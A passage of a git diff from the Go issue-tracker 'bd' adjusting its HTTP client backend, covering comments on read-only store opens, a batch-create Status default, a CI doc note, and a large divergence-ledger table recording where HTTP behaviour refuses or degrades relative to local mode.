unrecorded", - "store_factory_nocgo.go:newReadOnlyStoreFromConfig": "read-only open: the store refuses writes, so no mutation can go unrecorded", + // Non-mutating opens. Every built-in arm returns a store that refuses + // writes (OpenReadOnly / OpenForPreviewCommand / a ReadOnly server config), + // so there is no mutation for a journal row to accompany. The registry arm + // may not refuse — the http client's read-only open is writable — but its + // writes are applied, and journaled, by the bd serve it dials. + "store_factory.go:openNonMutatingStoreFromConfig": "read-only/preview open: built-in arms refuse writes and the http arm's writes are journaled by its server, so no mutation can go unrecorded", + "store_factory_nocgo.go:newReadOnlyStoreFromConfig": "read-only open: built-in arms refuse writes and the http arm's writes are journaled by its server, so no mutation can go unrecorded", // Store-open-time reconciliation, which runs BEFORE the command's own store // exists and therefore before any workspace config could be applied to it. diff --git a/cmd/bd/markdown.go b/cmd/bd/markdown.go index 14a5f9183..2c002ad74 100644 --- a/cmd/bd/markdown.go +++ b/cmd/bd/markdown.go @@ -383,17 +383,27 @@ func buildMarkdownBatchRequest(templates []*IssueTemplate, in createInput) (issu Description: template.Description, Design: template.Design, AcceptanceCriteria: template.AcceptanceCriteria, - Status: types.StatusOpen, - Priority: template.Priority, - IssueType: template.IssueType, - Assignee: template.Assignee, - Labels: template.Labels, - Ephemeral: ephemeral, - NoHistory: in.noHistory, - StorageClass: storageClass, - MolType: in.molType, - CreatedBy: in.createdBy, - Owner: in.owner, + // Status is left unset rather than spelled out as + // types.StatusOpen: PreparePublicCreateRequest (shared by every + // backend, including the http client store's server) already + // defaults an empty Status to StatusOpen, so an explicit "open" + // here was never a different outcome — only a populated member + // the http wire's BatchCreateItem has no slot for and the role + // (correctly) refuses rather than drops. Leaving it unset removes + // that one refusal without changing what gets created; the http + // wire still refuses this request's Provenance and Owner (see + // internal/httpclient/batchcreator.go), so `--file` is not + // servable there yet. + Priority: template.Priority, + IssueType: template.IssueType, + Assignee: template.Assignee, + Labels: template.Labels, + Ephemeral: ephemeral, + NoHistory: in.noHistory, + StorageClass: storageClass, + MolType: in.molType, + CreatedBy: in.createdBy, + Owner: in.owner, }, Dependencies: dependencies, }) diff --git a/cmd/bd/store_factory.go b/cmd/bd/store_factory.go index 1d7564a54..da4fba918 100644 --- a/cmd/bd/store_factory.go +++ b/cmd/bd/store_factory.go @@ -259,6 +259,16 @@ func newPreviewStoreFromConfig(ctx context.Context, beadsDir string) (storage.Do // OpenForPreviewCommand, ReadOnly server config), so there is no mutation for a // journal row to accompany. Registered in the construction guard's exemption // list with that reason. +// +// The registry arm is the exception: it returns whatever the backend's +// OpenReadOnly means, and that one hook also serves the root pre-run's +// classified reads, `bd ready --claim` included, so it may be writable. The +// http client backend's read-only open is (httpclient.NewReadOnlyFromConfig), +// and a write through it reaches its bd serve. The journal exemption still +// holds there: recording that write is the business of the server that applies +// it, and the client has no journal of its own to activate. A separate +// OpenNonMutating hook on backends.Backend, which this function would call +// instead, is the follow-up that closes the exception. func openNonMutatingStoreFromConfig(ctx context.Context, beadsDir string, preview bool) (storage.DoltStorage, error) { cfg, err := configfile.Load(beadsDir) if err != nil { diff --git a/cmd/bd/store_factory_nocgo.go b/cmd/bd/store_factory_nocgo.go index f50303512..bb683eb70 100644 --- a/cmd/bd/store_factory_nocgo.go +++ b/cmd/bd/store_factory_nocgo.go @@ -92,7 +92,8 @@ func newDoltStoreFromConfig(ctx context.Context, beadsDir string) (s storage.Dol // newReadOnlyStoreFromConfig creates a read-only SQL-server-backed storage // backend. It does not activate the events journal: the store refuses writes, // so there is no mutation for a journal row to accompany (exemption is recorded -// in the construction guard). +// in the construction guard). The registry arm is the exception the cgo +// twin, openNonMutatingStoreFromConfig, describes. func newReadOnlyStoreFromConfig(ctx context.Context, beadsDir string) (storage.DoltStorage, error) { cfg, err := configfile.Load(beadsDir) if err != nil { diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index e271b795b..fd3f54f72 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1063,6 +1063,10 @@ Required` requires them to have run remotely and passed. it in `bazel-integration`, which `pr.yml`'s gate requires (PR Core's `go test` builds neither tag). Neither tier was part of a required gate before. `scripts/conformance.sh` stays as the local `go test` entrypoint. + Its Tier 3, the served HTTP corpus (`./internal/httpclient` with + `BEADS_TEST_EMBEDDED_DOLT=1` and `BEADS_HTTP_TEST_REQUIRED=1`), runs in + the embedded lane as `//internal/httpclient:httpclient_served_test` + (race build, 24 shards). `docs-mintlify.yml` likewise drops its docsync job (`go test ./test/docsync`, which `bazel-test` runs as `//test/docsync:docsync_test`) and keeps only Mintlify's network-bound broken-link check. diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index b88d98fce..0b6c4c931 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -22,17 +22,17 @@ hand-edit it: change the ledger in Go and regenerate. Two gates keep it honest the encoder's reflection **bijection gate** pins the ledger to the wire (a request field added upstream lands here or fails CI), and the golden test `TestDivergenceLedgerDocMatchesLedger` pins this doc to the ledger. The prose -rationale, the decision numbers (D-rows) each entry cites, and the full test-lane -map live in the architecture spec, `http-client-backend.md`, which is not -included in this repository. +rationale and the decision numbers (D-rows) each entry cites trace back to the +original (bd-enterprise-internal) design's decision log, which is not included +in this repository; the full test-lane map lives alongside each row below. A handful of rows still carry a `TODO` pin: these are the read-display and pre-run residuals (wisp-in-list, the pretty `bd ready` parent-epic map, the molecule/auto-import pre-run degradations). The -client core is complete; `ga-b8ddd.12` (per-request project-id enforcement) -closed the read-display escalation, so pinning the remaining fixture corpus is -deferred work, tracked on `ga-b8ddd.23` (the read-display residual) -and `ga-b8ddd.19` (the per-id D7 taxonomy). They are refusals or degradations +client core is complete; a since-closed per-request project-id enforcement +follow-up closed the read-display escalation, so pinning the remaining +fixture corpus is deferred work (tracked as a read-display residual and a +per-id D7 taxonomy follow-up). They are refusals or degradations already in force — the `TODO` is on the test that will hold each one, not on the behavior. @@ -47,7 +47,7 @@ the behavior. ## Summary -257 rows: 206 refuse, 33 degrade, 18 retired. +264 rows: 209 refuse, 33 degrade, 22 retired. ## Whole-behavior divergences (D9 ledger) @@ -56,42 +56,43 @@ The L-rows the design's D9 table names: whole behaviors that differ over HTTP, e | ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | |---|---|---|---|---|---|---| | L1 | retired | — | RETIRED — `bd list` over http could not ask for the wisp plane | retired by the upstream ask the design page filed for it: "include_ephemeral on listIssues (retires L1)". Upstream published the parameter, the server decodes it (internal/httpapi/reads.go handleListIssues), and the encoder emits it whenever ListRequest.IncludeEphemeral is set. THERE IS NO DIVERGENCE LEFT TO RECORD. `bd list` still shows no wisps, but it shows none LOCALLY either: the front door registers no --include-ephemeral (only `bd ready` does, ready.go), so the field is unset on both paths and both answer the durable plane. A degrade row describing behavior the local oracle shares is not a degradation, and keeping it as one would be the same falsified-premise problem the W- rows had — a ledger arguing from a document that moved | D9 L1 (RETIRED), D8 row 1 | TestEncodedParametersRoundTripThroughTheServerDecoder | -| L2 | degrade | — | a non-created `bd list` sort, the flagless default included, costs page-to-exhaustion on the three legs that cannot push the order down: an unlimited read (--limit 0), a caller-supplied keyset position, and a server that does not advertise issues.list.sort | NARROWED, not retired, by the upstream ask this row named: listIssues publishes `sort` and `reverse`, and the pager's pushdown leg (list_walk.go sortedPage) answers a bounded, position-free request against an advertising server in ONE request, with the server's own LIMIT deciding which rows survive the caller's order. What is left is the legs where that is unavailable or unsafe. An unlimited read has to cross every row whatever the order, and `limit=0` pushed down would newly meet the server's unlimited-read refusal. A keyset position is defined in the created order, and the pager's prefix discard run against a page some other order truncated would drop rows whose replacements were never fetched — a wrong answer rather than a slow one. A down-level server is the fallback the capability probe exists to reach. On all three the client still fetches every page and applies the SQL order's own Go-side mirror plus a copy of the page epilogue's comparator. The weld itself is NOT a divergence and never was: a cursor is bound to the paged order it was minted in (`created` or `priority`) and the server refuses it under any other `sort` | D9 L2, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L3 | degrade | — | a multi-page fetch has no snapshot isolation | the keyset cursor pins a position, not a snapshot: rows created mid-walk are missed and row states mix instants, where local mode is one query | D9 L3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L4 | retired | — | `bd show` dependents sections and comment bodies were degraded | retired by council #1: the write-lifecycle wave landed include_dependents/include_comments on getIssue, and both the off-role text path and the on-role JSON path are wired | D9 L4 (RETIRED), D4, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L5 | degrade | — | molecules are not auto-loaded pre-run | the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf | D9 L5, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L6 | degrade | — | a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported | THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was "force-disabled through an import.auto=false env override", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism | D9 L6, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L7 | degrade | — | the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side | the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary | D9 L7, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L8 | refuse | `--deps` | `bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated | GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L9 | degrade | — | credential-bearing settings are unreadable client-side | the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset | D9 L9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L10 | refuse | `--watch` | `bd list --watch` and `bd show --watch` refuse | the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from | D9 L10, D10 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L11 | degrade | — | hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only | the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none | D9 L11, D1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| L2 | degrade | — | a non-created `bd list` sort, the flagless default included, costs page-to-exhaustion on the three legs that cannot push the order down: an unlimited read (--limit 0), a caller-supplied keyset position, and a server that does not advertise issues.list.sort | NARROWED, not retired, by the upstream ask this row named: listIssues publishes `sort` and `reverse`, and the pager's pushdown leg (list_walk.go sortedPage) answers a bounded, position-free request against an advertising server in ONE request, with the server's own LIMIT deciding which rows survive the caller's order. What is left is the legs where that is unavailable or unsafe. An unlimited read has to cross every row whatever the order, and `limit=0` pushed down would newly meet the server's unlimited-read refusal. A keyset position is defined in the created order, and the pager's prefix discard run against a page some other order truncated would drop rows whose replacements were never fetched — a wrong answer rather than a slow one. A down-level server is the fallback the capability probe exists to reach. On all three the client still fetches every page and applies the SQL order's own Go-side mirror plus a copy of the page epilogue's comparator. The weld itself is NOT a divergence and never was: a cursor is bound to the paged order it was minted in (`created` or `priority`) and the server refuses it under any other `sort` | D9 L2, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L3 | degrade | — | a multi-page fetch has no snapshot isolation | the keyset cursor pins a position, not a snapshot: rows created mid-walk are missed and row states mix instants, where local mode is one query | D9 L3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L4 | retired | — | `bd show` dependents sections and comment bodies were degraded | retired by council #1: the write-lifecycle wave landed include_dependents/include_comments on getIssue, and both the off-role text path and the on-role JSON path are wired | D9 L4 (RETIRED), D4, D8 row 1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L5 | degrade | — | molecules are not auto-loaded pre-run | the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf | D9 L5, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L6 | degrade | — | a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported | THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was "force-disabled through an import.auto=false env override", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism | D9 L6, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | +| L7 | degrade | — | the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side | the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary | D9 L7, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L8 | refuse | `--deps` | `bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated | GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L9 | degrade | — | credential-bearing settings are unreadable client-side | the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset | D9 L9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L10 | refuse | `--watch` | `bd list --watch` and `bd show --watch` refuse | the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from | D9 L10, D10 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L11 | degrade | — | hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only | the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none | D9 L11, D1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L12 | refuse | — | an inexpressible filter refuses, never drops — the class rule every E- row below is an instance of | a dropped filter widens a result set invisibly, and the server can only reject parameters it receives | D9 L12, D7 | TestEncoderHonorsEveryTableDisposition | -| L13 | degrade | — | pretty `bd ready` shows no parent-epic context | buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue | D9 L13, D4 | TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510 | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L15 | degrade | — | a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk | locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all | D9 L15, D12 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L16 | refuse | `--file` | `bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked | maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly | D9 L16, D7, D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-close-cap | refuse | — | a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked | maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own | D9 L-close-cap, D7 F-close, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-dep-endpoint | degrade | — | a dependency add whose source or target names no issue refuses as ErrValidation over http, not as *DependencyEndpointNotFoundError wrapping ErrDependencySourceNotFound or ErrDependencyTargetNotFound | the wire spells that refusal as a 400 invalid_argument with reason `invalid_value` and the offending member in `param` (internal/httpapi/dependency_edit.go). Reason and code are the same ones a malformed id earns, so the two are indistinguishable without reading `detail` prose — which is exactly what the extension-member vocabulary exists to avoid. The refusal still FAILS the request and still writes nothing; only its classification is coarser. Upstream ask: a distinguishing code or reason for the endpoint-not-found refusal, which retires this row | D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-claim-prose | degrade | — | a claim refusal's MESSAGE does not carry the ClaimedBy/NotClaimableStatus fragments, so beads.ParseClaimConflict recovers nothing from it over http | the fragments exist so that parser can recover the conflicting assignee and status from PROSE. Over the wire both arrive as typed extension members and *ClaimConflictError is reconstructed whole, so a caller reading the FIELDS loses nothing. Recomposing the copy client-side would mean re-implementing which copy each refusal shape gets — an open issue held by someone else deliberately omits the assignee tail, an in-progress one carries it — which is a second implementation of the very rule the fragments were introduced to keep single | D8 row 3 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-delete-notfound | degrade | — | issueops.Deleter.Delete over http refuses an absent id as issueops.ErrNotFound, not as *NotFoundError naming WHICH ids did not resolve | the role's error is a typo report and names every missing id; the wire deliberately does not repeat them (internal/httpapi's NotFound() carries a FIXED detail, so a 404 body cannot echo caller input back). The refusal still FAILS the request and still deletes NOTHING — not even the ids beside the typo — so the all-or-nothing promise is intact and only the classification is coarser. It is stated at the ROLE rather than at a command because `bd delete` is not reachable against an http workspace at all (see httpUnconsumedCapabilities); the embedder holding the role is the audience. Upstream ask: an ids extension member on the not_found problem, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-delete-dependents | degrade | — | the unforced dependents guard refuses as issueops.ErrValidation, not as *DependentsOutsideRequestError wrapping ErrDependentsOutsideRequest | the wire spells that refusal as a 400 invalid_argument with no `param` (internal/httpapi's failDeleteErr) — the fix is to change the REQUEST, by sending cascade or force — so the blocked id and its dependents cannot be reconstructed without parsing detail prose, which is what the extension-member vocabulary exists to avoid. The guard itself is untouched: the request fails and the graph is whole. Upstream ask: a dependents_outside_request code carrying issue_id and dependents, which retires this row | D8 row 13 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-delete-bound | refuse | — | issueops.Deleter.Delete refuses a request naming more than 1000 ids, citing the wire bound; it is never split across requests | maxDeleteIDs = 1000 (internal/httpapi/delete.go). Splitting is the one path that silently breaks the request's one-transaction, one-history-entry contract — and it would ask the dependents guard about half a request at a time, so a pair the caller deliberately listed together would be refused as an outside dependent. Naive forwarding at least fails loudly. Stated at the ROLE: `bd delete` cannot reach an http workspace, so the embedder is the audience | D8 row 13, D9 L16 (the same argument, on the other bulk write) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-batchcreate-bound | refuse | — | `bd create --file` carrying more than 100 issues refuses, naming the wire bound; it is never split across requests | maxBatchCreateItems = 100 (internal/httpapi/batch_create.go). The request IS the transaction, so two requests are two transactions and two history entries where the role promises one — and a failure in the second leaves half a plan created, which is the outcome all-or-nothing exists to make impossible | D8 row 14, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-edgecount-bound | refuse | — | issueops.GraphCounter.CountEdges refuses a request naming more than 100 DISTINCT anchors, citing the wire bound; it is never chunked across requests | maxDependencyAnchors = 100 (internal/httpapi/edges.go), the same bound the stored-edge read on this collection carries — the role deliberately sets none of its own and says the bound belongs to the WIRE. Chunking is what a READ could get away with and this one cannot: CountEdges promises that an anchor's EXISTENCE and its edge count are read from one consistent view, so two requests would let an anchor be reported missing by a probe that raced a create the other chunk's count already saw — one answer contradicting itself, which is the exact failure AnchorEdgeCount.Missing exists to make impossible. Refusing at the bound fails loudly instead, and the caller splits the question knowing it asked twice. Upstream ask: a cursor or a higher bound on the anchor list, which retires this row | D9 L16 (the same argument, on a read), D8 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-batchcreate-target | degrade | — | a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound | the wire answers a dangling edge target with a 400 invalid_argument naming `items` (internal/httpapi's failBatchCreate), and deliberately does not quote the role's own message, which arrives as a driver error naming tables and constraints. The refusal still fails the whole batch and creates nothing — the promise the row is about — and only the second sentinel is lost. Upstream ask: a distinguishing code for the absent-target refusal | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-batchcreate-inbatch | refuse | — | an edge onto an EARLIER ITEM OF THE SAME BATCH cannot be expressed at all over http | the capability needs the earlier item to have named an id for itself, and apigen.BatchCreateItem publishes no id member — an explicit id is refused with the rest of W-BatchCreateItem.Issue. So the target of an in-batch edge can only be a row the workspace already holds. It is a REFUSE row rather than a degrade because the request that asks for it fails: the client refuses the explicit id before the dial, and there is no second spelling that would land the edge silently. The wire's own `target_id` description names this case, so the gap is in the SCHEMA rather than in the handler — the upstream ask is an item id member, which retires this row | D8 row 14 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L18 | degrade | — | DOWN-LEVEL ONLY: against a server that does not advertise issues.batchClose, a single-id `bd close` still composes onto closeIssue and records the SERVER's own close commit message rather than the batch's id-naming entry; the multi-id and --claim-next shapes refuse there | the composed leg is one closeIssue call, so the history entry it leaves is the one that operation writes for itself — the batch's entry names the ids it closed and this one cannot, because no batch ran. Where issues.batchClose IS advertised the whole request is one call and one server-side transaction, so this divergence does not arise at all; the down-level leg survives on purpose, because `bd close` worked against pre-batchClose servers before this port and refusing it now would be a regression dressed as progress. It is the same posture L14 takes toward issues.claimNext. It is a degrade rather than a refuse because the close LANDS and the answer is neither narrower nor wider than the caller asked for — only the record of it is the operation's rather than the batch's. Retirement is a fleet fact rather than an upstream ask: the row goes when no server this client may meet is older than issues.batchClose | D9 L18, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| L-create-notfound | degrade | — | a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target | the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is 